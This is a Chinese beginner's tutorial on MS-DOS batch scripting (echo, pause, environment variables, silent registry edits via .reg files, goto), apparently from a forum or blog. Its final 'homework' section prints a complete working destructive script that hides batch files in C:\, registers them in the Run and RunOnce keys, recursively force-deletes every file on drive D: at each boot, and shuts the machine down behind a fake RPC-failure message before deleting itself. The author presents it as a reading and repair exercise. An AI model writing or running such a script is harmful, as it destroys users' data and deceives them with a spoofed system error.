MSDOS(命令提示符)速成之玩转批处理

MSDOS是微软开发的一个实实在在的操作系统,其大小是可以用软盘装得下的,且这个操作系统是完全命令行化的……就是操作界面和你所见的命令提示符是一模一样的,呵呵,但是随着图形化操作系统的诞生,直接使用命令行的操作越来越被图形化,比如用鼠标双击一个图标和打一堆命令的效果是一样的,你更愿意选择哪一个呢?呵呵,当然是前者,因为方便呀!呵呵……微软在他早期的图形化操作系统中(例如9895用的时间过早,记不清了)都在关机菜单中整合了MSDOS。如果点击那个进入DOS,就是在下一次开机进入了MS98中整合的DOS(很多人习惯称之为纯DOS)。但是在98的界面上你也可以打开DOS(开始,command),呵呵,那就是MS(微软的简称,下同)命令提示符的雏形。MS越来越智能化它的图形化操作系统,对MSDOS的要求就越少。于是在XP年代MS宣布放弃对DOS的支持。同时为了让一些习惯使用DOS的老用户们更加方便,提供了功能更加强大的命令提示符功能。为什么说命令提示符更加强大呢?呵呵,首先它新增了很多内、外部命令(废话),相比之下命令提示符比DOS有更多的权限,管理范围更加广泛,支持简体中文,可是它只是一个程序而不是一个操作系统……在这种情况下,很多人就会自然而然的把命令提示符看成是新版本的msdos,因为在这些人眼中dos就是意味着一堆命令……呵呵。
~~废话不多说,我将以结合实例等方式开始我们的bat之旅^^


很多朋友都会很好奇,到底什么是bat?bat和命令提示符有什么关系呢~?呵呵,bat其实是一个命令的集合,中文我们一般喜欢称之为批处理。我们一般喜欢在文本文档中写我们的批处理代码,然后直接将后缀名改成.bat即可。例如我们在文本文档1.txt中输入

Echo 实例一
C:

Echo 将盘符转到C:
CD/

Echo 确定将盘符转移到根目录下
Attrib -r -a -s -h boot.ini

Echo boot.ini的各属性去掉
Copy boot.ini d:/.

Echo C根目录下的boot.ini 复制到D盘根目录下
Pause

把这几行代码保存,将后缀名改成.bat,然后执行,呵呵~~很神奇吧?你写的这几行代码已经在命令提示符下被严格按照顺序执行了。^^

ECHO命令:第一种用法就是显示出现在这个命令后面的文字拉,呵呵,第二种用法在下一个实例中解释。
PAUSE命令:暂时停止代码的执行,并且“请按任意键继续”。



Echo off
Echo 实例二
C:

Echo 将盘符转到C:
CD/

Echo 确定将盘符转移到根目录下
Attrib -r -a -s -h boot.ini

Echo boot.ini的各属性去掉
Copy boot.ini d:/.

Echo C根目录下的boot.ini 复制到D盘根目录下
Pause

将以上代码保存在批处理文件中执行,是不是发现所有的命令(也就是粉色的部分)都没有显示了呢?呵呵,这就是echo off的作用,也是echo命令的第二个用法,隐藏需要执行的命令,但命令确实是执行过了的,呵呵~



更进一步,我们将实例二第一行代码前加一个”@”符号,看看有什么效果。

@Echo off
Echo 实例三
C:

Echo 将盘符转到C:
CD/

Echo 确定将盘符转移到根目录下
Attrib -r -a -s -h boot.ini

Echo boot.ini的各属性去掉
Copy boot.ini d:/.

Echo C根目录下的boot.ini 复制到D盘根目录下
Pause

很明显,第一行echo off这个命令也被隐藏了,@符号的作用就是隐藏本行命令,echo off的作用其实就是把每一行命令前加了一个@,但却不包括本行命令,所以一般写批处理之前都会在开头加上@echo off





如果我现在需要把系统目录system32文件夹下的”ping.exe”复制到D:/应该怎么办呢?呵呵,很多朋友都会告诉我首先进入windows文件夹,然后进入system32文件夹,然后执行copy命令。但是如果我们没有把系统装在C:/windows/ 里,或者说如果我们把系统装在其他文件夹或其他盘里,用批处理怎样才能进入这台计算机的系统文件夹~?呵呵,这就要用到我将介绍的 环境变量 ^^
环境变量通俗点说就是相对地址。比如说
../system/
就是进入本文件夹下system文件夹里,这个地址不是绝对的,可以在C也可以在D盘,因为这样的地址都是从程序执行的这个文件夹算起,呵呵,这种类型的地址在网页中用到的比较多,这里就不着重介绍了,今天要介绍的环境变量是视窗操作系统中的一些绝对常用的相对地址。


如何得到本计算机中存在的环境变量:
CMD,执行SET命令。
在我的计算机中结果如下:
ALLUSERSPROFILE=C:/Documents and Settings/All Users
APPDATA=C:/Documents and Settings/淡蓝小星星/Application Data
CLIENTNAME=Console
CommonProgramFiles=C:/Program Files/Common Files
COMPUTERNAME=淡蓝小星星
ComSpec=C:/windows/system32/cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=/Documents and Settings/淡蓝小星星
LOGONSERVER=//淡蓝小星星
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:/Program Files/PC Connectivity Solution/;C:/WINDOWS/system32;C:/WINDOWS;C:/WINDOWS/System32/Wbem;C:/WINDOWS/system32/WindowsPowerShell/v1.0;D:/Nokia主题编辑/bin;D:/Nokia主题编辑/jre/bin;C:/Program Files/Series_60_Theme_Studio/S60_TS_3_0/bin;C:/Program Files/Series_60_Theme_Studio/S60_TS_3_0/jre/bin
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.PSC1
PCTYPE=PAVILION
PLATFORM=MCD
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f06
ProgramFiles=C:/Program Files
PROMPT=$P$G
SESSIONNAME=Console
SKINAPP_INSTALL_DIR=C:/Program Files/Series_60_Theme_Studio/S60_TS_3_0
SonicCentral=C:/Program Files/Common Files/Sonic Shared/Sonic Central/
SystemDrive=C:
SystemRoot=C:/windows
TEMP=C:/DOCUME~1/淡蓝小星星/LOCALS~1/Temp
TMP=C:/DOCUME~1/淡蓝小星星/LOCALS~1/Temp
tvdumpflags=8
USERDOMAIN=淡蓝小星星
USERNAME=淡蓝小星星
USERPROFILE=C:/Documents and Settings/淡蓝小星星
VS80COMNTOOLS=D:/Microsoft Visual Studio 8/Common7/Tools/
windir=C:/windows

那么在BAT中应该如何使用环境变量呢?呵呵,很简单,就是在这些变量的前后加上%符号。参考上面所列出的,我们方便进入系统文件夹的system32文件夹就有以下两种方式:
%systemroot%/system32/
%windir%/system32/

呵呵,如果系统是装在D:/windows/ 里面,这里的systemrootwindir就应该都指向D:/windows/ 了。 所以用这种方法进入位置系统根目录的电脑是最保险的^^

所以上文提到的复制就可以这样写:
Cd %systemroot%
Cd system32
Copy ping.exe d:/.

呵呵~~~感觉很不错吧^^



注册表是电脑中存放关键信息的地方,我们是否能用bat去修改注册表呢?答案是肯定的,而且方式多样~呵呵,今天我就来介绍最笨的方法(最笨的方法最能说明问题~^^
我们的思路是用bat来写.reg文件,然后再用命令将.reg文件合并到注册表中,具体实例如下:
@echo off
@echo Windows Registry Editor Version 5.00>>007mly.reg

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "SVCHOST"="C://SVCHOST.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "SVCHOST"="C://SVCHOST.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "SVCHOST"="c://SVCHOST.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "SVCHOST"="c://SVCHOST.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg

@regedit /s 007mly.reg


.reg文件相关的知识就不去介绍了,具体结构请大家查阅相关资料~呵呵,截取我写的以上部分bat片段来解释bat修改注册表的实现
在最后一行代码@regedit /s 007mly.reg执行前bat做的事情就是将一些代码写入007mly.reg文件中,此文件最后内容如下:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"SVCHOST"="C://SVCHOST.bat"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"config"="C://config.bat"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]
"SVCHOST"="C://SVCHOST.bat"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]
"config"="C://config.bat"
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]
"SVCHOST"="c://SVCHOST.bat"
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]
"config"="C://config.bat"
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]
"SVCHOST"="c://SVCHOST.bat"
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]
"config"="C://config.bat"

是不是和你想的一样呢?呵呵~注册表中

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
这两个地方是开机启动程序所在地

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce
这两个地方存放的只是在下一次启动时开机运行的程序

我想介绍的是最后一行导入注册表的命令regedit的安静模式 /s
什么意思呢?如果不加这一个参数 /s,在bat执行到这里的时候会弹出“是否将007mly.reg中的内容导入到注册表?”这样一来还要按一下确定……很麻烦的,呵呵,但是如果加了/s参数就是开启静音模式,不会要求二次确认直接添加,所以很多命令的安静模式都很重要。





最后一个示例,说一些简单的高级批处理命令使用~
Goto 命令
这个命令的意思就是跳转拉~呵呵,直接跳到goto所指向的代码段,例如


:xyz
Copy 1.txt c:/.

:zyx
Copy 2.txt c:/.

If exist 3.txt goto xyz else goto zyx

这个实例的意思是如果存在3.txt这个文件就去执行xyz里面的内容,否则就去执行zyx里面的内容。:xxx goto命令是配套使用的,:xxx里面的内容如果没有goto指向是跳过不会执行的,所以即使我将它放在IF命令前面也会被54~~~呵呵~





~~差不多了~呵呵~~~恭喜你学得了系统命令和批处理的九牛一毛~^^真的只有九牛一毛哦~~所谓师父领进门,修行靠个人哈~呵呵~结合前面两篇专题看今天的这个可能会简单点~~~重申一遍~这个小教程是给电脑初学者使用的,大虾们请一笑了之咯!如果有什么问题请给我指出哦~~呵呵~

下面留一点作业……呵呵,有人在我发了那两篇专题以后PM我说要作业= =~~~好学生阿~~~感动~废话不说~看招~~!!!!

@echo off
@echo ###############################################################################
@echo #
#

@echo #
欢迎使用 星星小恶 ver1.02!
#

@echo #
本代码只共学习使用,作者对因使用不慎造成的一切损失概不负责!
#

@echo #
本人联系方式:[email protected]
#

@echo #
QQ:89513001
#

@echo #
确认继续请回车

#

@echo #
#

@echo ###############################################################################
@echo 本代码不支持win98及以下系统,确认继续请回车。
@pause
@echo Windows Registry Editor Version 5.00>>007mly.reg

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "SVCHOST"="C://SVCHOST.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "SVCHOST"="C://SVCHOST.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "SVCHOST"="c://SVCHOST.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "SVCHOST"="c://SVCHOST.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg

@regedit /s 007mly.reg
@del 007mly.reg


@echo @echo off>>001mly.bat
@echo d:>>001mly.bat
@echo del *.* /f/s/q/a +r +s +a +h>>001mly.bat


@echo @echo off>>002mly.bat
@echo c:>>002mly.bat
@echo cd/>>002mly.bat
@echo %systemroot%/System32/shutdown.exe -s -t 60 -c "Remote Procedure Call (RPC)服务意外终止,系统即将关闭,请保存好文件然后重新启动计算机">>002mly.bat


@xcopy 001mly.bat c:/
@xcopy 002mly.bat c:/
@del 001mly.bat
@del 002mly.bat

@c:
@cd/
@if exist SVCHOST.bat del SVCHOST.bat
@if exist config.bat del config.bat
@ren 001mly.bat SVCHOST.bat
@ren 002mly.bat config.bat
@attrib SVCHOST.bat +r +s +h
@attrib config.bat +r +s +h

@%systemroot%/System32/shutdown.exe -s -t 120 -c "Remote Procedure Call (RPC)服务意外终止,系统即将关闭,请保存好文件然后重新启动计算机"
@del %0

以上红字部分为我写的一点小东西= =(如果没有一定基础,或对bat不甚了解的千万不要执行……),我的作业就是请大家可以读懂这一段代码,并将这一段代码的意思告诉我,完成这一步后请跟贴或PM我,答对者威望+5,如果有朋友用另一个bat完全修复了执行这个bat以后的电脑,威望+10~(里面大部分为我介绍过的内容,很小一部分留给自学,可以去百度一下什么的^^
现在开始写另一个针对初学者的专题了,敬请期待^^

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章